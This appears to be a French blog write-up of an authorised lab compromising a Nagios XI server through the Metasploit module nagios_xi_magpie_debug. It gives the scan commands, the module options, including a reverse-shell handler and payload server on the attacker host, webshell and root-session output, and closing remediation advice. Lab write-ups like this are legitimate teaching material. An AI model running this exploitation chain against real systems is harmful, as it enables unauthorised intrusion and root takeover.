Mohammed Berrahal

Bienvenu sur ma personnel page.

Lab PeterPan : de Nagios XI à root

Périmètre : machine de laboratoire autorisée PeterPan Cible : 176.16.150.106 Attaquant (Kali) : 176.16.150.107 Résultat : ✅ accès root obtenu, flag récupéré

1. Résumé exécutif

La machine PeterPan expose une application Nagios XI derrière Apache HTTP Server. La cible est vulnérable à la chaîne d’exploitation utilisée par le module Metasploit exploit/linux/http/nagios_xi_magpie_debug.

L’exploitation a suivi quatre étapes :

  1. La reconnaissance a confirmé Apache sur les ports 80 et 443.
  2. La vérification HTTP a prouvé que /nagiosxi/login.php servait bien Nagios XI.
  3. Le module nagios_xi_plugins_filename_authenticated_rce n’était pas adapté (authentification requise).
  4. Le module nagios_xi_magpie_debug a détecté MagpieRSS et confirmé la vulnérabilité.

Metasploit a déployé un serveur HTTPS temporaire sur Kali, la cible a téléchargé les fichiers nécessaires, puis l’exploit a créé un webshell PHP dans le répertoire NagVis. La première exécution s’est faite sous www-data, puis une session Meterpreter a fourni les privilèges root.

flag_b2dfc789_b5e7_4269_b19d_5a587387f2c5

Rapport issu d’un lab autorisé. Les mêmes techniques ne doivent pas être utilisées contre une infrastructure sans autorisation explicite.

2. Objectifs et environnement

L’objectif était de montrer comment un logiciel de supervision réseau obsolète peut fournir un accès initial, puis conduire à une élévation de privilèges sur Linux.

Élément Valeur observée
Cible 176.16.150.106
Kali / attaquant 176.16.150.107
Service web Apache 2.4.29
Système cible Ubuntu 18.04.3 LTS
Noyau 4.15.0-1051-aws
Architecture x86_64
Application Nagios XI sous /nagiosxi/
Session initiale www-data
Session finale root
Flag /root/proof.txt

3. Reconnaissance réseau

nmap -Pn -sV -p 80,443,5666 176.16.150.106

Résultat :

PORT     STATE  SERVICE  VERSION
80/tcp   open   http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp  open   ssl/http Apache httpd 2.4.29 ((Ubuntu))
5666/tcp closed nrpe

Analyse :

  • La machine est joignable.
  • Le service principal est une application web Apache, accessible en HTTP et HTTPS.
  • NRPE (port 5666) est fermé : ce n’est pas le point d’entrée de ce scénario.
  • Le port 443 nécessite l’option SSL true dans Metasploit. Le port 80 était testable aussi, mais l’application fonctionnait sur HTTPS.

4. Confirmation de Nagios XI

curl -k -sS -D - \
  https://176.16.150.106/nagiosxi/login.php \
  -o /tmp/nagios-login.html

Réponse HTTP 200 OK, contenant notamment :

Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8
<title>Login · Nagios XI</title>

Ainsi que des variables JavaScript propres à Nagios XI :

var base_url = "https://176.16.150.106/nagiosxi/";
var nsp_str = "...";

Analyse : la présence de Nagios XI, de base_url et de nsp_str confirme que /nagiosxi/login.php est bien l’interface Nagios XI, et non une page Apache générique.

5. Première tentative : mauvais module et erreur de validation

use exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce

Ce module cible une exécution de commande authentifiée dans Nagios XI et exige un compte disposant de privilèges administratifs. La cible a répondu comme une application Nagios, mais l’authentification n’a pas été validée : le module a signalé que la cible n’était pas exploitable avec cette méthode.

⚠️ Point clé : cette erreur ne signifiait pas que Nagios XI était absent. Elle signifiait que le module choisi ne correspondait pas au chemin d’exploitation disponible dans le lab. Il ne fallait pas contourner la vérification avec ForceExploit true sans en comprendre la cause.

Le réglage de TARGETURI a aussi été clarifié :

set TARGETURI /

Le module ajoute lui-même les chemins comme /nagiosxi/login.php. Définir /nagiosxi/ aurait produit un chemin doublé, par exemple /nagiosxi/nagiosxi/login.php.

6. Choix du module Magpie Debug

search magpie_debug
use exploit/linux/http/nagios_xi_magpie_debug

Ce module vise les anciennes versions de Nagios XI utilisant MagpieRSS. Il combine deux CVE historiques :

CVE Rôle
CVE-2018-15708 Exécution de commande distante non authentifiée
CVE-2018-15710 Élévation de privilèges locale vers root

Vérification :

check

[+] The target appears to be vulnerable. Found MagpieRSS.

Analyse : le message Found MagpieRSS est l’indicateur clé. Il explique pourquoi le module authentifié n’était pas nécessaire pour ce scénario.

7. Configuration réseau de Metasploit

ip route get 176.16.150.106

176.16.150.106 dev eth0 src 176.16.150.107

Dans Metasploit, trois adresses jouent des rôles différents :

Variable Rôle
RHOSTS La cible
LHOST L’adresse où le handler du reverse shell écoute
RSRVHOST L’adresse où la cible peut télécharger les fichiers temporaires de l’exploit

Configuration finale :

set RHOSTS 176.16.150.106
set RPORT 443
set SSL true
set RSRVHOST 176.16.150.107
set RSRVPORT 8080
set SRVHOST 0.0.0.0
set SRVPORT 8080
set LHOST 176.16.150.107
set LPORT 4444

Erreur initiale rencontrée :

Msf::OptionValidateError One or more options failed to validate: RSRVHOST.

Analyse : RSRVHOST était obligatoire pour ce module. SRVHOST 0.0.0.0 restait correct (écoute sur toutes les interfaces locales), mais RSRVHOST devait être une adresse réelle et joignable par la cible — ici 176.16.150.107.

8. Exploitation et accès initial

[+] The target appears to be vulnerable. Found MagpieRSS.
[*] Using URL: https://176.16.150.107:8080/...
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/....php ...
[+] ....php uploaded successfully!
[*] Checking PHP web shell: /nagvis/....php
[+] Success! Commands executed as user:
    uid=33(www-data) gid=33(www-data)
    groups=33(www-data),1001(nagios),1002(nagcmd)

Analyse : le module a créé un webshell PHP dans /usr/local/nagvis/share/, exposé via l’URL /nagvis/. Le compte obtenu était www-data, habituellement utilisé par Apache.

L’appartenance aux groupes nagios et nagcmd est importante : ces groupes peuvent donner accès à des fichiers et mécanismes de supervision supplémentaires. La preuve immédiate de l’accès initial reste cependant :

uid=33(www-data) gid=33(www-data)

Nettoyage effectué par Metasploit :

Deleted /usr/local/nagvis/share/....php
Deleted /usr/local/nagvis/share/....
Deleted /var/tmp/....nse

⚠️ Cette suppression limite les traces laissées par l’exploitation, mais ne remplace pas une analyse forensique complète.

9. Élévation de privilèges et sessions Meterpreter

Le module a tenté automatiquement l’élévation de privilèges. Les résultats étaient variables selon l’exécution :

[*] Attempting privilege escalation ...

[-] Privilege escalation failed
[*] Executing payload as uid=33(www-data) ...

Analyse : même lorsque l’élévation automatique échouait, l’accès www-data restait disponible.

La session finalement utilisée a confirmé les privilèges root :

meterpreter > getuid
Server username: root

Confirmation dans un shell Linux :

uid=0(root) gid=0(root) groups=0(root)

Système cible :

Ubuntu 18.04.3 LTS
Linux 4.15.0-1051-aws
x86_64

10. Localisation et validation du flag

La recherche initiale avec find a parcouru de nombreux fichiers système dont le nom contenait “flag” (des fichiers d’en-tête Linux utilisent aussi ce terme). La recherche utile s’est ensuite concentrée sur les répertoires sensibles :

ls -la /root

-r--r--r-- 1 root root 42 ... proof.txt

Recherche de contenu :

/root/proof.txt:1:flag_b2dfc789_b5e7_4269_b19d_5a587387f2c5

Flag validé :

flag_b2dfc789_b5e7_4269_b19d_5a587387f2c5

11. Chronologie synthétique

Étape Action Résultat
1 Scan des ports 80, 443 et 5666 Apache sur 80/443 ; NRPE fermé
2 Requête vers /nagiosxi/login.php Nagios XI confirmé
3 Module plugins_filename_authenticated_rce Échec lié à l’authentification et au mauvais chemin d’exploitation
4 Recherche du module Magpie nagios_xi_magpie_debug identifié
5 Première exécution de check Échec de validation : RSRVHOST manquait
6 Configuration de RSRVHOST Le serveur de fichiers Metasploit a démarré
7 Exploitation Magpie/NagVis Webshell et accès www-data
8 Session Meterpreter Session root obtenue
9 Recherche de fichiers /root/proof.txt trouvé
10 Lecture du fichier Flag récupéré

12. Causes racines

  • Composants obsolètes exposés : une version obsolète de Nagios XI et de ses composants associés (notamment MagpieRSS et NagVis) permettait à un attaquant distant non authentifié d’atteindre une exécution de commande dans le contexte du serveur web.
  • Chemin d’élévation de privilèges exploitable : le module a pu obtenir une session root dans l’environnement du lab. Même si l’élévation automatique n’a pas réussi à chaque tentative, la combinaison d’une application ancienne, de composants privilégiés et d’une surface système Ubuntu 18.04 a créé un risque critique.
  • Absence de segmentation : entre le service web, les composants Nagios et les privilèges système, ce qui a aggravé l’impact. La compromission du serveur Apache a finalement permis l’accès au fichier réservé à root.

13. Recommandations de remédiation

13.1 Mettre à jour Nagios XI et ses composants

Mettre Nagios XI à niveau vers une version supportée et appliquer tous les correctifs disponibles. NagVis, MagpieRSS, Nagios Core et les plugins doivent être traités comme un ensemble ; mettre à jour uniquement l’interface principale ne suffit pas si un composant ancien reste exposé.

13.2 Réduire l’exposition réseau

L’interface d’administration Nagios ne devrait pas être accessible directement depuis Internet ou des réseaux utilisateurs. La restreindre à un réseau d’administration, un VPN, ou une liste d’adresses autorisées. Filtrer HTTP/HTTPS par pare-feu, et garder NRPE fermé lorsqu’il n’est pas nécessaire.

13.3 Séparer les privilèges

Le compte du serveur web doit disposer du minimum de permissions nécessaire. Les répertoires servant des fichiers web ne doivent pas être inscriptibles par un utilisateur non privilégié lorsque ces fichiers peuvent ensuite être exécutés par PHP.

Les tâches Nagios doivent aussi être séparées des privilèges root. Toute règle sudo autorisant des commandes larges doit être auditée.

Note de prudence : dans cette session, la sortie sudo -l a été obtenue après le passage à root. Elle confirme l’identité obtenue mais ne prouve pas qu’une règle sudo était le vecteur initial.

13.4 Renforcer la configuration PHP et Apache

Désactiver l’exécution de scripts PHP dans les répertoires de téléchargement ou de partage. Mettre en place des règles empêchant l’upload de fichiers exécutables et appliquer une politique de moindre privilège pour Apache.

13.5 Surveiller les indicateurs d’exploitation

Indicateurs à rechercher :

  • Créations de fichiers PHP inattendus sous /usr/local/nagvis/share/
  • Requêtes vers des chemins /nagvis/*.php
  • Connexions sortantes du serveur vers une adresse externe sur un port de staging
  • Processus enfants inhabituels lancés par Apache

Les journaux Apache, PHP, Nagios et système doivent être centralisés afin qu’un attaquant ne puisse pas effacer toutes les traces depuis la machine compromise.

13.6 Mettre à niveau Ubuntu

Ubuntu 18.04 est ancien et ne doit plus être utilisé sans support de sécurité adapté. Migrer le système et le noyau vers une version supportée, supprimer les paquets inutiles, et activer les mises à jour de sécurité automatisées.

14. Conclusion

Le lab a démontré une chaîne complète de compromission : découverte d’Apache, identification de Nagios XI, validation de MagpieRSS, exploitation non authentifiée, accès www-data, obtention d’une session root et lecture du flag.

L’enseignement principal est qu’une erreur de sélection de module peut faire croire à tort qu’une application n’est pas vulnérable. La page Nagios était bien présente, mais le premier module exigeait une authentification. Le module nagios_xi_magpie_debug correspondait mieux au scénario et nécessitait surtout une configuration réseau correcte, en particulier RSRVHOST.

Flag final :

flag_b2dfc789_b5e7_4269_b19d_5a587387f2c5

Références

  • CVE-2018-15708 — Nagios XI MagpieRSS Remote Code Execution (non authentifié)
  • CVE-2018-15710 — Nagios XI, élévation de privilèges locale
  • Module Metasploit : exploit/linux/http/nagios_xi_magpie_debug

You May Also Enjoy